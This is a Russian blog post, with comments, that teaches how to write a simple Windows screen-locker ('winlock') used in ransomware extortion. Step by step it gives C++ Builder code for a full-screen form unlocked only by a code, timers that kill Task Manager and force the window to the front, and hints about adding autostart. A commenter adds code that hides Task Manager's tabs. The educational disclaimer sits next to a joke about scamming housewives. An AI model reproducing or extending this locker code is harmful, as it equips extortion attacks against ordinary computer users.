среда, 20 июля 2011 г.

Простой winlock

    На форумах очень много объявлений о продаже различных "блокираторов Windows". Какое-то время назад эта ниша киберпреступности была весьма прибыльной (помнится, в Москве только одна группа кодеров заработала за год свыше полумиллиарда рублей на этих локерах) . Сейчас же и аверы разработали кучу средств для борьбы с таким софтом, и эникейщики научились справляться с большинством из данных поделок, да и мобильные операторы/билинги теперь жестко контролируют и быстро банят номера вымогателей. Но сейчас речь не об этом.
В этой мини-статье я хочу показать, как примерно выглядит простой винлок. На самом деле, это намного проще, чем кажется на первый взгляд. Предупреждая вопрос различных моралистов "зачем учить писать такое, в мире и так много зла?!!!" я отвечу "в целях самообразования и познания". Тот, кому надо навредить, все равно найдет в гугле генератор локеров или еще что. А данная статья - для обучения начинающих программистов.
Итак, приступим. Писать мы будем на C++ Borland Builder. Если вы пишите на каком-нибудь другом языке, то думаю, сможете переделать код под себя, используя аналогичные конструкции (весь С++ код я буду подробно комментировать).
Создадим новый проект, в нем - форму. Название оставим Form1, чтобы было проще читать код, и понимать, что к чему. В функции TForm1::FormCreate (двойной щелчок по форме, в vb это вроде Form_load или как то так) пишем такой код:
Form1->BorderStyle=bsNone;
Form1->WindowState=wsMaximized;
Первая строка делает форму без рамки и заголовка, вторая - раскрывает форму на весь экран. Помещаем на форму компоненты Edit и Button, имена оставляем исходные (чтобы не путаться потом в коде). Ес-но, для себя вы можете называть их как угодно. В обработчике события Button (двойной щелчок по кнопке) пишем:

if (Edit1->Text=="1234") //проверяем, что ввел юзер
        {
        ShowMessage("Компьютер разблокирован"); //если все верно
        Application->Terminate(); 
        }
else //если код неверный
        MessageBox (0,"Код неверный","failed",MB_OK);

В первой строке мы проверяем, соответствует ли введеный пользователем текст нашему паролю. Если да - выводим сообщение, что винда разблокирована и завершаем свою работу, если же нет - выводим сообщение юзеру, что он ввел что-то не то и ожидаем дальше. Для разнообразия и обучения я использовал 2 разные функции вывода сообщения: ShowMessage - это внутренняя функция Borland C++, которая фактически является "оберткой" над MessageBox - WinApi функцией. WinApi это внутренние функции Windows, все, что мы используем в винде, работает через них. Borland C++ и подобные IDE скрывают большую часть внутренностей, в целях удобства. Иначе, для отображения простой формы, нам бы пришлось писать 2 страницы кода отрисовки и обработки событий (что, впрочем, и делают программисты на С или Ассемблере). Но вернемся к нашему блокиратору.
Создаем на форме два таймера, интервал ставим любой, но меньше секунды. 200-300-500.. В обработчике первого таймера пишем:

HWND taskman;
taskman=FindWindow(NULL,"Диспетчер задач Windows");SendMessage(taskman,WM_CLOSE,NULL,NULL);


Создаем переменную типа handle , ищем окно с нужным нам заголовком, посылаем окну системное сообщение о закрытии. Это опять же Api-функции. Кому все это интересно, и хочет изучить Апи подробней - можете почитать книгу Дж. Рихтер "Создание эффективных WIN32-приложений" + уроки Iczelion'a. Сразу скажу, материал достаточно сложный, это не с компонентами работать. Но это и есть настоящее программирование, в ходе которого приходит настоящее понимание внутренних процессов работы ОС Windows.
В обработчике второго таймера пишем:


HWND h = FindWindow(NULL,"Form1"); //вместо Form1 - имя своей формы

SystemParametersInfo(SPI_SETFOREGROUNDLOCKTIMEOUT, 0, (LPVOID)0, SPIF_SENDWININICHANGE | SPIF_UPDATEINIFILE);

      ShowWindow(h, SW_RESTORE);
     BringWindowToTop(h);
     AllowSetForegroundWindow(-1);
     SetForegroundWindow(h);

Это снова WinApi. Если вкратце: ищем свое окно, разворачиваем на весь экран (вдруг кто-то свернул?), перемещаем поверх всех других окон.. Подробней по каждой Апи, если возникнет такое желание, можете прочитать в MSDN и гугле.
Вот, в общем-то, и все. Конечно, это очень простой вариант. Для его усложнения можно добавить автозагрузку, копирование в системные директории, и так далее. При желание, могу про все это написать.

Как я уже говорил, код опубликован исключительно в учебно-образовательных целях. Я не несу никакой ответственности за то, что кто-то его скомпилирует и поимеет несколько шекелей на домохозяйках.

4 комментария:

  1. вопрос 1, тест на windows 8 показал что timer1 , на блокировку диспетчера задач не повлиял и не закрывал его, есть еще варианты блокировки?

    ОтветитьУдалить
    Ответы
    1. про win8 ничего не могу сказать, да и пример этот так себе - писался на коленке для примера, как блокировать винду. Может быть напишу как нибудь более современный на чистом WinApi (компоненты это не дело в малвари).

      Удалить
  2. я еще попробовал блокировать приложения, процессы, а толку ноль вот мой код:
    // закрываем доступ к вкладкам диспетчера задач "Процессы" и "Приложения"
    HWND MyHandle = FindWindow(0,"Диспетчер задач Windows");
    if (MyHandle)
    {
    HWND hProcess = FindWindowEx(MyHandle,0,0,"Процессы"),
    hApplication = FindWindowEx(MyHandle,0,0,"Приложения");
    ShowWindow(hProcess,SW_HIDE);
    ShowWindow(hApplication,SW_HIDE);
    }

    ОтветитьУдалить
    Ответы
    1. Возможно разный integrity level или еще какая ерунда, блокирующая оконные сообщения. Код, который выше, не тестился на вин8 по причине отсутствия оной в 2011 году.

      Удалить